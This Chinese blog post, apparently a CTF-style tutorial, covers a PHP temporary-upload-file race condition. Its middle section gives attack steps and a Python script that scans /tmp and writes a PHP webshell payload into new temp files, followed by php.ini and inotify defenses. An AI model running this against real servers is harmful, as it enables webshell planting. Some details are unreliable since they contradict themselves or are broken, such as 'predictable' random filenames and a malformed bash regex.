共计 2902 个字符,预计需要花费 8 分钟才能阅读完成。
背景分析
PHP 临时文件上传机制
PHP 处理文件上传时会先将文件保存在临时目录(由 php.ini 中的 upload_tmp_dir 指定),默认是系统的 /tmp 目录。这个临时文件会在脚本执行结束后被自动删除。关键配置项包括:

upload_max_filesize:控制最大上传文件大小post_max_size:POST 数据最大尺寸max_file_uploads:单次请求允许上传的最大文件数
当用户上传文件时,PHP 会生成类似 /tmp/phpXXXXXX 的临时文件(其中 X 是随机字符),直到脚本调用 move_uploaded_file() 完成正式保存。
竞争条件的危害
Race Condition(竞争条件)在这里特指攻击者利用临时文件创建和删除之间的时间差进行操作。由于 PHP 默认临时目录是全局可写的,且文件名可预测,攻击者可以通过以下方式利用:
- 不断扫描临时目录寻找新创建的 PHP 临时文件
- 在文件被删除前植入恶意代码
- 通过其他方式触发该文件执行
题目环境分析
比赛环境设置了典型的防御措施:
disable_functions = exec,passthru,shell_exec,system,proc_open,popen
但存在以下可利用点:
- 临时目录保持默认
/tmp - 未设置
open_basedir限制 - 服务器配置允许解析
.php文件
漏洞利用实战
攻击步骤分解
- 启动多线程扫描
/tmp目录 - 当发现
phpXXXXXX文件时立即写入 webshell - 通过 HTTP 请求触发文件执行
- 清理攻击痕迹
Python 自动化脚本
#!/usr/bin/env python3
import argparse
import threading
import time
import os
import logging
from queue import Queue
# 配置日志记录
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
def monitor_tmp_dir(q, interval=0.1):
"""监控 /tmp 目录变化"""
known_files = set()
while True:
current_files = set(os.listdir('/tmp'))
new_files = current_files - known_files
for f in new_files:
if f.startswith('php') and len(f) == 9:
q.put(f)
logging.info(f'发现临时文件: {f}')
known_files = current_files
time.sleep(interval)
def exploit_file(filename, payload):
"""利用临时文件"""
path = f'/tmp/{filename}'
try:
with open(path, 'wb') as f:
f.write(payload.encode())
logging.info(f'成功写入 payload 到 {path}')
return True
except Exception as e:
logging.error(f'写入失败: {e}')
return False
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='PHP 临时文件竞争条件利用工具')
parser.add_argument('-t', '--threads', type=int, default=5, help='监控线程数')
parser.add_argument('-p', '--payload', required=True, help='要写入的 PHP payload')
args = parser.parse_args()
file_queue = Queue()
payload = f"<?php {args.payload} ?>"
# 启动监控线程
for i in range(args.threads):
t = threading.Thread(
target=monitor_tmp_dir,
args=(file_queue,),
daemon=True
)
t.start()
# 处理发现的文件
while True:
target_file = file_queue.get()
exploit_file(target_file, payload)
关键点说明:
- 使用多线程提高竞争成功率
- 文件发现和写入操作分离,降低时间窗口要求
- 每个线程独立扫描,增加捕获机会
防御方案
方案 1:修改 php.ini 配置
; 专用临时目录
upload_tmp_dir = /var/www/upload_tmp
; 限制目录权限
open_basedir = /var/www
实施步骤:
-
创建专用目录并设置权限
mkdir -p /var/www/upload_tmp chown www-data:www-data /var/www/upload_tmp chmod 750 /var/www/upload_tmp -
重启 PHP 服务
systemctl restart php-fpm
优点:
- 配置简单
- 无需额外软件
缺点:
- 需要服务器重启
- 不防御其他类型的竞争条件
方案 2:inotify 监控方案
#!/bin/bash
TMP_DIR=/tmp
LOG_FILE=/var/log/tmp_monitor.log
# 安装依赖
if ! command -v inotifywait &> /dev/null; then
apt-get install -y inotify-tools
fi
# 创建日志目录
mkdir -p $(dirname $LOG_FILE)
touch $LOG_FILE
# 监控循环
inotifywait -m -r -e create --format '%w%f' $TMP_DIR | \
while read file; do
if [[$file =~ /tmp/php[[:alnum:]]{6}$ ]]; then
echo "[$(date)] 检测到临时文件: $file" >> $LOG_FILE
# 立即修改权限
chmod 600 "$file"
# 可选:移动文件到安全位置
# safe_dir=/var/secured_tmp
# mkdir -p $safe_dir
# mv "$file" "$safe_dir/$(basename $file)"
fi
done
实施建议:
- 通过 systemd 设置为常驻服务
- 配合 logrotate 管理日志文件
优点:
- 实时防护
- 可扩展性强
缺点:
- 需要额外软件
- 可能影响性能
避坑指南
常见错误配置
- 临时目录全局可写(777 权限)
- 使用默认
/tmp目录 - 未设置
open_basedir - 未限制 PHP 执行目录
- 未配置日志监控
安全加固清单
- [] 设置专用
upload_tmp_dir - [] 配置适当的目录权限(750)
- [] 启用
open_basedir限制 - [] 定期审计临时文件
- [] 实施文件完整性监控
延伸思考
- 如何在不使用 inotify 的情况下实现类似的监控功能?
- 如果服务器禁用所有危险函数,还有哪些可能的利用方式?
- 除了文件上传,还有哪些场景容易出现竞争条件漏洞?
正文完
发表至: 未分类
近两天内
